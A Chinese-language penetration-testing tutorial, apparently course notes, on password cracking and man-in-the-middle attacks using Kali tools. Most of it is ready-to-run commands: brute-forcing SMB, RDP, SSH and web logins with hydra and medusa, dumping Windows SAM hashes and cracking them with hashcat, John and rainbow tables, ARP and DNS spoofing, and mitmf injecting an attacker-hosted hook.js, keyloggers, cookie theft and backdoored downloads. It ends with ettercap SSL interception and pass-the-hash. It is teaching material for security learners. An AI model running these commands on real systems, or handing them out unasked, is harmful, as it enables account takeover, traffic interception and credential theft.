思路
当目标系统实施了强安全措施
安装了所有补丁
无任何已知漏洞
无应用层漏洞
攻击面已经最小化
此时可以使用其他方法
社会工程学,攻击人的弱点
获取目标系统用户身份
非授权的用户无法访问授信资源,已认证用户可以访问授信资源
已有用户账号权限受限,需要提权
不会触发系统报警
身份认证方法
证明你是你声称你是的那个人
你知道什么
账号密码,
PIN码,passphrase:密码文你有什么
令牌,
token,key,证书,密宝,手机你是谁
指纹,视网膜,虹膜,掌纹,声纹,面部识别
多因素身份认证
以上多种方法结合使用
基于互联网的身份认证仍以账号密码为主要形式
密码破解方法
人工猜解
垃圾桶工程
被动信息收集
基于字典的暴力破解(主流)
利用键盘上可以敲击的全部字符进行组合来暴力破解(键盘空间字符爆破)
字典
保存有用户名和密码的文本文件
Kali Linux中存在的字典1
2/usr/share/wordlist
/usr/share/wfuzz/wordlist
字典
键盘空间字符爆破
全键盘空间字符
部分键盘空间字符(基于规则)
数字,小写字母,大写字母,符号,空格,瑞典字符,高位
ASCII码
crunch
用于生成字典
格式:
crunch <min-len> <max-len> [<charset string>] [options]min-len:字典中每行内容的最小长度max-len:字典中每行内容的最大长度charset string:字符集,默认为小写字符选项:
1
2
3
4
5-b:按大小分割字典文件为小体积的字典文件(kb/kib,mb/mib,gb/gib;不带i的以1000为划分,带i的以1024为划分),需与-o START结合使用
-c:按每个字典的行数分割字典文件为小体积的字典文件,需与-o START结合使用
-o START:生成字典文件时字典文件中内容以从小到大的方式排列
-o:输出
-d:同一字符连续出现的次数例:
1
crunch 6 6 0123456789 -o START -d 2 -b 1mb

当前目录下会生成字典文件,字典中内容为每行6个字符,按升序排列,同一字符最多连续出现2次,每个字典文件
1MB大小字符集:
crunch工具默认存在字符集列表文件,位于/usr/share/crunch/charset.lst,使用-f参数指定使用的字符集
1
crunch 4 4 -f /usr/share/crunch/charset.lst lalpha-sv -o 1.txt

无重复字符
1
2
3
4
5
6crunch 1 1 -p 1234567890
-p:指定一串字符,crunch会对将这些字符所有的排列可能情况生成为一个字典
此参数必须是命令中的最后一个参数
最大,最小字符长度参数失效,但必须存在
与-s参数不兼容
1
2
3
4
5crunch 4 4 0123456789 -s 9900
-s:指定字典生成的起始字符串
默认无-s参数,字典中的内容范围是0000-9999,添加-s参数后,字典中的内容范围是9900-9999
读取文件生成字典
1
2
3
4
5crunch 1 1 -q read.txt
-q:指定读取的文件
将读取的文件中的每一行当作一个基本字符,利用这些基本字符生成不同排列顺序的字典
最大,最小字符长度参数失效,但必须存在

字典生成规则
利用密码的已知规律,使用
crunch生成符合规律的字典文件1
2
3
4
5
6
7
8crunch 6 6 -t @,%%^^
-t:指定已知规律的通配符
@:小写字母 lalpha
,:大写字母 ualpha
%:数字 numeric
^:符号 symbols
输出文件压缩
1
2
3crunch 4 4 -t @,%^ -o 1.txt -z 7z
-z:将生成的字典文件做压缩,支持的格式有:7z,gzip,bzip2,lzma。其中7z的压缩比率最大例
1
2
3crunch 4 4 -f /usr/share/crunch/charset.lst hex-lower -o w.txt -t @d@@
当指定-f字符集时,再指定-t中存在@时,此时的@表示字符集中的所有字符,而不是表示为小写字母

1
2
3crunch 4 5 -p dog cat bird
此时-p将后面的三个字符串视为三个基本字符,将这三个基本字符进行所有可能的排列,生成字典
1
2
3
4
5
6crunch 5 5 abc DEF + \!@# -t ,@^%,
+:占位符
\:转义符
abc DEF + \!@#表示小写字母只使用abc,大写字母只使用DEF,数字使用+占位符,表示全部数字,特殊字符只使用!@#
1
2
3
4
5crunch 5 5 -t ddd%% -p dog cat bird
此时命令中因指定了-p,所以ddd不表示字典前三位为ddd,只是占位符,可使用其他任意字符。指定-t参数时要符合密码的长度
此处不同于-p参数指定的值都是占位符
1
2
3crunch 5 5 -d 2@ -t @@@%%
-d 2@表示同一个小写字母连续出现的次数不大于2次
与其他程序组合应用
当本地没有足够的空间存储生成的字典文件时,可将生成的字典直接交给破解程序使用
1
crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w -
1
crunch 10 10 12345 --stdout | airolib-ng testdb -import passwd -
cupp
Common User Password Profiler
按个人信息生成其专属的密码字典
下载安装
1
git clone https://github.com/Mebus/cupp.git

使用
1
2
3python3 cupp3.py -i
-i:以交互模式生成字典
cewl
通过收集网站信息生成字典
支持基本,摘要身份认证
支持代理
1 | cewl IP/域名 -m 3 -d 3 -e -c -v -w a.txt |


如图,字符串后的数字为此字符串在站点中出现的次数
用户密码变型
基于
cewl的结果进行密码变型末尾增加数字串
字母大小写变化
字母与符号互相转换
字母与数字互相转换
P@$$w0rd
John the Ripper
使用John the Ripper配置文件实现密码动态变型
配置文件位置:/etc/john/john.conf
修改配置文件
1
2
3
4
5
6[List.Rules:Wordlist] #规则字段位置
可添加
$[0-9]$[0-9]$[0-9] #字典末尾添加3位数字
$[0-9]$[0-9]$[0-9]$[a-zA-Z] #字典末尾添加3位数字与一位字母
$[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$[`#!#$%^&*()-=_+] #字典末尾添加3位数字,3位字母,一位特殊字符使用
John the Ripper生成密码文件1
2
3
4
5john --wordlist=cewl.txt --rules --stdout > m.txt
--wordlist:基础密码文件
--rules:使用john.conf配置文件中的规则,也可指定要使用的规则
--stdout:标准输出
可自己添加
John the Ripper工具配置文件规则1
2
3
4[List.Rules:规则名称]
$[0-9]$[0-9]$[0-9] #字典末尾添加3位数字
$[0-9]$[0-9]$[0-9]$[a-zA-Z] #字典末尾添加3位数字与一位字母
$[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$[`#!#$%^&*()-=_+] #字典末尾添加3位数字,3位字母,一位特殊字符
指定某项规则生成密码文件
1
john --wordlist=cewl.txt --rules=test --stdout > m.txt
1
john --wordlist=ahm.lst --rules=test HASHFILE
pw-inspector
按长度和字符集筛选字典
1 | pw-inspector -i /usr/share/wordlists/nma.lst -o p.lst -l -m 3 -M 5 |
在线密码破解
对在运的服务器进行密码字典爆破,根据密码字典逐个尝试请求服务器。
hydra–九头蛇
Windows密码破解
破解Windows中admin管理共享(smb服务)
1 | hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd |
破解Windows中远程桌面服务(rdp服务)
1 | hydra -l administrator -P pass.lst rdp://1.1.1.1 -vVd -t 1 |
Linux密码破解
破解Linux中ssh服务
1 | hydra -l root -P pass.lst ssh://1.1.1.1 -vV -e nsr -t 1 |
其他服务密码破解
支持的协议:AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码
1 | hydra -L user.lst -P pass.lst ftp://1.1.1.1 -s 2121 -e nsr -o p.txt -t 64 -vV |
hydra图形化界面–xhydra
hydra基于http表单的身份认证
1 | hydra -l admin -P pass.lst 1.1.1.1 http-post-from "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:S=index.php" -V |
1 | hydra -l admin -P pass.lst 1.1.1.1 http-post-from "/foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H=X-Foo:Foo" -V |
hydra同时也支持http-get-form(get请求),https-post-form请求,https-get-form请求。使用https请求时需使用-S参数,使用SSL连接
medusa
hydra的缺点
稳定性差,程序时常崩溃
速度控制不好,容易触发服务屏蔽或锁死机制
对每台主机新建进程,对每个服务新建实例,系统资源,存储消耗较大
大量目标时破解性能差
medusa的特点
稳定性好
速度控制得当
基于线程
支持模块少于
hydra(不支持rdp)web-form支持存在缺陷
Windows密码破解
1 | medusa -M smbnt -h 1.1.1.1 -u administrator -P pass.lst -e ns -F |
Linux密码破解
1 | medusa -M ssh -h 1.1.1.1 -e ns -F -u root -P pass.lst |
其他服务密码破解
1 | cvs.mod:CVS会话的暴力模块:2.0版 |
1 | medusa -M mysql -h 1.1.1.1 -u root -P pass.lst -e ns -F |
medusa基于http表单的身份认证
1 | medusa -h 1.1.1.1 -u admin -P pass.lst -M web-form -m FORM:"dvwa/login.php" -m DENY-SIGNAL:"login.php" -m FORM-DATA:"post?user=username&pass=password&Login=Login" |
查看某个模块使用的参数1
medusa -M web-form -q
medusa设计思想为当进行破解,发出请求时,服务器返回200,然后从响应包中寻找特征字符来判断是否破解成功。但是DVWA不论登陆成功或者失败都会返回302,所以medusa无法进行DVWA登陆破解。
密码破解效率
密码复杂度(字典命中率)
带宽、协议、服务器性能、客户端性能
锁定阈值
单位时间最大登陆请求次数
离线密码破解
身份认证
禁止明文传输密码
每次认证使用
HASH算法加密密码传输服务器端用户数据库应加盐加密保存
破解思路
嗅探获取密码
HASH利用漏洞登陆服务器并从用户数据库中获取密码
HASH识别
HASH类型长度、字符集
利用离线破解工具碰撞密码
HASH
优势
离线密码破解不会触发密码锁定机制
不会产生大量登陆失败日志引起目标管理员注意
HASH类型识别工具
存在无法识别及识别错误的情况
hash-identifier
1 | hash-identifier |
hashid
1 | hashid HASH值 |
Windows HASH获取工具
利用漏洞:
pwdump、fgdump、mimikatz、wce物理接触:
samdump2
samdump2
思路:
在目标主机上使用
kali iso安装光盘,进入live模式挂载目标主机物理硬盘
1
2fdisk -l #查看目标主机的硬盘情况
mount /dev/sda2 /mnt/ #挂载硬盘分区寻找目标主机硬盘中的
SAM数据库文件1
cd /mnt/Windows/System32/config
在此目录下存在
SAM文件与SYSTEM文件,SAM文件用于存放操作系统用户的HASH密码,SYSTEM文件用于存放对SAM文件加密的密钥。若SYSTEM文件中存在密钥,则开机时需要输入两次密码,第一次为验证SYSTEM文件,解锁SAM文件;第二次为验证SAM文件,登陆系统。利用
samdump2工具在SAM数据库文件中读取HASH值1
samdump2 SYSTEM SAM -o sam.hash
拿
HASH值做离线密码破解
Hashcat
开源多线程密码破解工具
支持80多种加密算法破解
基于CPU的计算能力破解
六种模式
0
Straight:字典破解(默认)1
Combination:将字典中密码进行组合(1 2 -> 11 22 12 21)2
Toggle case:尝试字典中所有密码的大小写字母组合3
Brute force:指定字符集(或全部字符集)所有组合4
Permutayion:字典中密码的全部字符置换组合(12->21)5
Table-lookup:程序为字典中所有密码自动生成掩码
1 | hashcat -m 1000 sam.hash pass.lst |
1 | -b:评估计算机CPU对不同的加密算法的破解能力 |
1 | hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?d?d |
1 | hsahcat -m 100 -a 3 sam.hash -i --increment-min 6 --increment-max 8 ?l?l?l?l?l?l?l?l |
bkhive
Windows中syskey加密工具
Windows7对SAM文件进行加密:win+R–>syskey–>输入密码或存储到介质–>完成
此时重启Windows7系统,需先输入一次密码,之后才可以输入登陆密码
此时SAM文件经过了再次加密,其中存储的HASH值已经不同于登陆密码的HASH值了,破解难度增大
加密过程:
使用
bootkey利用RC4算法加密SAM数据库bootkey加密保存于SYSTEM文件中
bkhive
用于从SYSTEM文件中提取bootkey
kali2.0已经抛弃bkhive
编译安装
下载地址:http://http.us.debian.org/debian/pool/main/b/bkhive/
1 | tar zxvf bkhive_1.1.1.orig.tar.gz |
破解流程
将
SYSTEM文件中的bootkey提取出来,存于bkey1
bkhive SYSTEM bkey
配合
samdump2提取未经过bootkey加密的HASH1
samdump2 SAM bkey
无法实现,因kali2.0抛弃了bkhive,且samdump2高版本无法与bkhive兼容。建议使用kali1.x版本实现
oclhashcat
号称世界上最快、唯一的基于GPGPU(通用图形处理器)的密码破解软件
免费开源、支持多平台、支持分布式、支持150多种HASH算法
硬件支持
虚拟机中无法使用
支持
CUDA技术的Nvidia显卡支持
OpenCL技术的AMD显卡
限制
最大支持密码长度55个字符
使用
Unicode编码的最大密码长度为27个字符
1 | oclhashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a |
RainbowCrack(彩虹表)
通常的HASH破解技术流程
指定明文密码字典,指定要破解的
HASH值将明文密码进行与要破解的
HASH值相同的加密方法进行加密将两者进行比对,若相同,即可对应出明文密码;若不同,继续加密下一个明文密码进行比对,以此类推
基于时间记忆权衡技术生成彩虹表
提前计算密码的HASH值,破解时直接进行比对HASH值来破解密码
Kali中包含的RainbowCrack(彩虹表)工具
rtgen:预计算,生成彩虹表,耗时的阶段rtsort:对rtgen生成的彩虹表进行排序rcrack:查找彩虹表进行密码破解
修改版rtgen支持CUDA GPU:http://www.freerainbowtables.com/en/download
彩虹表中一般包括:
密码明文
HASH值HASH算法字符集类型
明文密码的长度范围
彩虹表下载
http://www.freerainbowtables.com/en/table/
http://rainbowtables.shmoo.com/
rtgen
生成彩虹表
支持的HASH加密算法:lanman,NTLM,MD2,MD4,MD5,SHA1,SHA256`RIPEMD160`
1 | rtgen md5 loweralpha 1 5 0 10000 10000 0 |
生成的彩虹表(.rt文件)存放于/usr/share/rainbowcrack目录下
rtsort
彩虹表排序
1 | rtsort md5_loweralpha#1-5_0_1000x1000_0.rt |
rcrack
查找彩虹表进行密码破解
1 | rcrack md5_loweralpha#1-5_0_1000x1000_0.rt -h HASH值 |
John
基于CPU的密码破解工具
支持众多加密算法的破解(支持某些对称加密算法的破解)
1 | john --list=formats |
模式:
wordlist:基于规则的字典破解single crack:默认首先使用的模式,使用当前破解账号的Login/GECOS信息尝试破解密码GECOS信息:指Linux系统在创建账号时,要求用户填写的包括名字,电话,住址,爱好在内的个人信息,这些信息存储于/etc/passwd中。对于已经存在的账号,可使用chfn命令来添加修改账户个人信息incremental:所有或指定字符集的暴力破解external:需要在主配置文件中使用C语言编程来说明如何破解
默认的破解模式
当不指定使用何种破解模式时,John会按照single–wordlist–incremental的顺序进行破解
当不指定使用的密码字典时,John会使用主配置文件中指定的字典,$JOHN/password.lst即/usr/share/john/password.lst
破解Linux系统账号密码
1 | unshadow /etc/passwd /etc/shadow > pass.txt #合并两个文件 |
破解成功的密码存在于当前目录下的.john/john.pot文件中
破解Windows系统账号密码
1 | john sam.hash --wordlist=password.lst --format=nt |
查看破解结果1
john sam.hash --format=nt --show
图形化界面的john–johnny
ophcrack
基于彩虹表的LM,NTLM密码破解软件
图形化界面
官方彩虹表下载:http://ophcrack.sourceforge.net/tables.php
密码嗅探
基础知识
二、三层地址
MAC地址,主机到主机
IP地址,网络到网络
交换机与HUB
HUB会将数据包转发到除发送端口外的所有端口。若在HUB范围内的任意台主机,将其网卡设置为混杂模式,则可进行HUB范围内的密码嗅探
交换机根据学习地址,形成地址表来转发数据包。对于广播包,交换机会进行广播,将交换机网络范围内的主机网卡设置为混杂模式可以进行嗅探;但对于单播包,是无法进行嗅探的
ARP协议
用于IP地址转换为MAC地址
基于广播学习
请求、响应相对独立
基于传闻的协议
ARP协议的安全隐患
因
ARP协议的请求包与响应包是相互独立的,所以即使一主机并没有发送ARP请求包,也是可以接受ARP响应包的。ARP协议是基于传闻的协议。当一主机接收到ARP响应包,就会信任此响应包,从而更改自己的IP与MAC对应关系表
这就形成ARP欺骗
在同一局域网络中,A声称自己的MAC地址是网关IP所对应的MAC地址。向局域网中发送大量ARP响应广播包,局域网中的主机则会信任这种网关IP的MAC是A的MAC的这种对应关系,所以当局域网中的主机向网关发送数据时,都会发送到A处,A可以进行抓包,并且可以将自己设置为路由模式,相当于替代了路由器的功能,并且还形成中间人攻击,获取到局域网内主机的数据信息。
ARP欺骗
手动修改数据包,伪造ARP响应包实现ARP欺骗(OmniPeek)
arpspoof
1 | arpspoof -t 192.168.1.12 -r 192.168.1.1 |
效果:ARP欺骗成功后,192.168.1.12认为kali是网关,192.168.1.1认为kali是192.168.1.12。此时,1.12的数据包会发向kali,网关对1.12的回包会发向kali,从而kali实现中间人攻击
中间人实现路由转发功能
1 | echo 1 > /proc/sys/net/ipv4/ip_forward |
网络嗅探
wireshark,tcpdump等工具抓取图片,声音
1
2
3
4
5
6driftnet -i eth0 -a -d tmp/ -s
-i:指定抓包的网络接口
-a:抓到的图片不实时显示,存储到目录中
-d:指定存储目录
-s:抓取声音抓取访问链接
1
2
3
4webspy -i eth0 192.168.1.12
-i:指定抓包的网络接口
指定要抓取数据的被欺骗主机抓取访问80,8080,3128端口的数据包
1
2
3urlsnarf -i eth0
-i:指定抓包的网络接口抓取密码
1
2
3
4dsniff -i eth0 -m
-i:指定抓包的网络接口
-m:对抓取到的数据包中的协议自动解码查看
dsniff支持的解码协议1
cat /usr/share/dsniff/dsniff.services
DNS欺骗
结合
ARP欺骗,也可以同时进行DNS欺骗1
2
3dnsspoof -i eth0 -f /usr/share/dsniff/dnsspoof.hosts
-i:指定DNS欺骗使用的网络接口
-f:指定要欺骗的域名与IP对应的列表文件因已经进行了
ARP欺骗,1.12主机的所有数据包都会发向kali。命令执行后,会对数据包中访问UDP53端口的数据包进行截获。返回假的域名、IP对应关系,从而达到DNS欺骗的效果。可以实现网站登陆等信息的抓取DNS欺骗代理1
2
3
4
5dnschef --fakeip=1.1.1.1 --fakedomains=www.google.com,www.yutube.com --interface 1.1.1.2 -q
--fakeip:指定欺骗后指向的IP
--fakedomains:指定要欺骗的域名
--interface:指定用于做欺骗的主机的IP执行命令后,
dnschef会监听做欺骗主机的udp53端口,同时指定一个真正的上游DNS服务器修改被欺骗主机的
hosts文件或DNS配置,将DNS查询请求指向做欺骗主机,实现DNS欺骗当被欺骗主机访问被欺骗的域名时,会向做欺骗的主机发出
DNS查询请求,做欺骗的主机会直接返回域名的A记录,即欺骗后指向的IP地址,实现流量劫持当被欺骗主机访问未被欺骗的域名时,做欺骗的主机接到被欺骗主机
DNS请求时,会向上游指定的真正的DNS服务器发起查询请求,得到真正的IP地址,然后返回给被欺骗主机,实现正常的DNS解析。此次过程对被欺骗主机不可见
中间人攻击

注入XSS
当实现了中间人攻击,客户端向服务器的发包,以及服务器向客户端的回包,都会经过中间人。
中间人对于两方的数据包,可以查看,可以修改。
即使服务器端没有XSS漏洞,当服务器向客户端的回包经过中间人时,中间人仍然可以插入XSS攻击代码,然后返回给客户端,实现XSS攻击,被称为凌空向每个HTTP请求中注入XSS攻击代码
若中间人发生在运营商线路上,很难引起用户注意
mitmf
号称最好用的中间人攻击工具(kali 2.0后默认未安装)
安装
安装依赖包1
2apt update
apt install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
安装
1 | apt install mitmf |
使用
mitmf会启动SSLstrip,将https降级为http
结合
BeEf,将BeEf的hook.js注入到数据包中1
2cd /usr/share/beef-xss/
./beef1
2
3
4
5
6
7
8mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.12 --inject --js-url http://192.168.1.10:3000/hook.js
--spoof:欺骗
--arp:arp地址欺骗
-i:指定使用的网络接口
--gateway:指定网关IP
--target:指定要欺骗的目标IP
--inject:注入模式
--js-url:指定恶意js脚本的地址实现键盘记录器
1
mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.12 --jskeylogger
图片反转180度
1
mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.12 --upsidedownternet
屏幕快照
1
mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.12 --screen
每隔10秒钟,会抓取一张屏幕快照,图片存放于
/var/log/mitmf抓取
cookie1
mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.12 --ferretng
浏览器及插件信息
1
mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.12 --browserprofiler
获取
SMB文件共享的信息1
2--smbtrap
--smbauthHTTP Strict Transport Security用于防止协议降级、
cookie窃取安全策略通过
HTTP响应头Strict-Transport-Security实施会限制
user-agent、https等使用以下模块可绕过此安全策略
1
--hsts
注入后门
1
--filepwn
当客户端从服务器请求下载可执行程序时,经过中间人,中间人会在可执行程序中注入后门程序后发送给客户端,客户端执行该程序后,会安装后门,或者直接向中间人反弹
shell
ettercap
统一功能的中间人攻击工具
可转发MAC与本机相同,但IP与本机不同的数据包
支持SSHv1、SSL中间人攻击
模块划分
snifer(抓包)MITM(中间人攻击)filter(筛选)log(日志)plugin(插件)
snifer
负责数据包的转发
unified
单个网卡情况下,独立完成三层数据包转发
始终会禁用内核的ip_forward功能
bridge
两块网卡情况下,一块负责数据包进入,另一块负责数据包发出。相当于一层MITM模式
相当于IPS过滤数据包
不可在网关上使用这种模式,此模式相当于透明网桥,有较大的安全风险
MITM
把流量重定向到ettercap主机上
可以使用其他工具实现MITM,ettercap只作为嗅探和过滤使用
实现MITM的方法
ARP地址欺骗ICMPICMP路由重定向数据包,只可实现半双工中间人攻击
半双工指客户端发包发向中间人,中间人发向服务器,但服务器的回包不经过中间人,由服务器直接发向客户端
DHCP修改网关地址,半双工
switch port stealing(窃取交换机端口)适用于
ARP静态绑定的环境攻击者与被攻击者连接在同一交换机上,攻击者发送
flood包,目标地址是攻击者本机MAC地址,伪造源地址为被攻击者的MAC地址。此时交换机会认为攻击者所连的交换机端口的MAC地址是被攻击者的,则以后交换机收到的发往被攻击者的数据包都会发向攻击者,实现半双工的中间人攻击。若同时对被攻击者进行端口窃取,让被攻击者认为攻击者为交换机。则可实现全双工的中间人攻击NDPIPv6协议欺骗技术
Linux2.4 以上内核对ARP地址欺骗的约束
收到非自己发出的
ARP请求包的响应包时,不更新本地ARP缓存ettercap使用ARP request包进行攻击solaris系统不根据ARP包来更新本地ARP缓存ettercap首先发送ICMP包来更新目标ARP缓存
基于ARP欺骗的使用
用户操作界面
1 | -T #文本界面 |
指定目标
1 | 格式:MAC地址/IPv4地址(s)/IPv6地址(s)/端口号(s) MAC地址/IPv4地址(s)/IPv6地址(s)/端口号(s) |
权限
修改配置文件
1 | vim /etc/ettercap/etter.conf |
基于伪造证书的SSL MITM
bridge模式不支持SSL MITM
生成证书
1 | openssl genrsa -out etter.ssl.crt 1024 |
字符模式
1 | ettercap -i eth0 -T -M arp:remote -q /1.1.1.1// /1.1.1.2// -F 1.ef -P autoadd -w a.cap -l loginfo -L logall -m message |
图形界面
SSL MITM
开启SSL功能
1 | vim /etc/ettercap/etter.conf |
DNS欺骗
修改dns_spoof插件配置文件
1 | vim /etc/ettercap/etter.dns |
查看日志
1 | etterlog -p logall.eci #查看获取的密码(eci文件) |
filter(筛选器)
默认存在的filter筛选文件目录1
/usr/share/ettercap/
etter.filter.ssh筛选器作用:
SSH1版本指SSH1.51版本,SSH2版本指SSH2.xx版本。当服务器同时支持SSH1版本与SSH2版本时,会显示SSH1.99版本
SSH1版本可以做中间人攻击,SSH2版本无法进行中间人攻击,etter.filter.ssh就是用来判断SSH的版本,若为SSH2版本则提示无法攻击;若为SSH1.99版本,则强制降级为SSH1.51版本;若为SSH1.51版本,则提示可以攻击
etter.filter.ssh筛选器使用:
编译:
1 | etterfilter etter.filter.ssh -o ssh.ef |
使用:
1 | ettercap -Tq -M arp:remote -i eth0 /192.168.1.1// /192.168.1.114// -F ssh.ef |
可以编写自己的筛选器,用于替换网页中的下载,内容等,实现基于中间人攻击的更多的利用方法
ICMP中间人攻击
1 | -M icmp:真实网关的MAC地址/真实网关的IP地址 |
DHCP中间人攻击
1 | -M dhcp:IP地址池/IP段子网掩码/DNS服务器IP |
switch port stealing(窃取交换机端口)中间人攻击
1 | -M port /1.1.1.1/ /1.1.1.2/ |
NDP中间人攻击
1 | -M ndp //IPv6地址/ //IPv6地址/ |
PASS THE HASH(PTH)
密码破解耗费时间、资源巨大
可以使用密文提交给服务器直接完成身份认证
NTLM/LM是没有加盐的静态HASH密文
此种攻击方式只适用于Windows系统
1 | pth-winexe -U 用户名%密码密文 //目标IP cmd |